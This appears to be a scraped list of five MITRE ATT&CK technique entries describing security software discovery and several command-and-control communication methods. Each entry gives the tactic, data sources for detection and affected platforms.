Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre